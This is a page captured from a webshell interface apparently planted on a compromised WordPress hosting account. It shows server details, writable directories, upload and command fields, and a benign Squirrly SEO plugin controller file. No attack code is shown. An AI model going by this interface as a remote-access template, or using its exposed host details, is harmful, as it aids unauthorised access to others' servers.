403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/squirrly-seo/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/squirrly-seo/controllers/Dashboard.php
<?php
defined( 'ABSPATH' ) || die( 'Cheatin\' uh?' );

/**
 * Show on the WordPress Dashboard
 * Class SQ_Controllers_Dashboard
 */
class SQ_Controllers_Dashboard extends SQ_Classes_FrontController {


	public function dashboard() {

		SQ_Classes_ObjController::getClass( 'SQ_Classes_DisplayController' )->loadMedia( 'dashboard' );
		if ( is_rtl() ) {
			SQ_Classes_ObjController::getClass( 'SQ_Classes_DisplayController' )->loadMedia( 'rtl' );
		}

		$this->show_view( 'Blocks/Dashboard' );
	}

	public function action() {
		parent::action();

		switch ( SQ_Classes_Helpers_Tools::getValue( 'action' ) ) {
			case 'sq_ajaxcheckseo':

				SQ_Classes_Helpers_Tools::setHeader( 'json' );

				if ( ! SQ_Classes_Helpers_Tools::userCan( 'sq_manage_settings' ) ) {
					$response['error'] = SQ_Classes_Error::showNotices( esc_html__( "You do not have permission to perform this action", 'squirrly-seo' ), 'error' );
					echo wp_json_encode( $response );
					exit();
				}

				//Check all the SEO
				//Process all the tasks and save the report
				SQ_Classes_ObjController::getClass( 'SQ_Models_CheckSeo' )->checkSEO();

				echo wp_json_encode( array( 'data' => $this->get_view( 'Blocks/Dashboard' ) ) );
				exit();
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit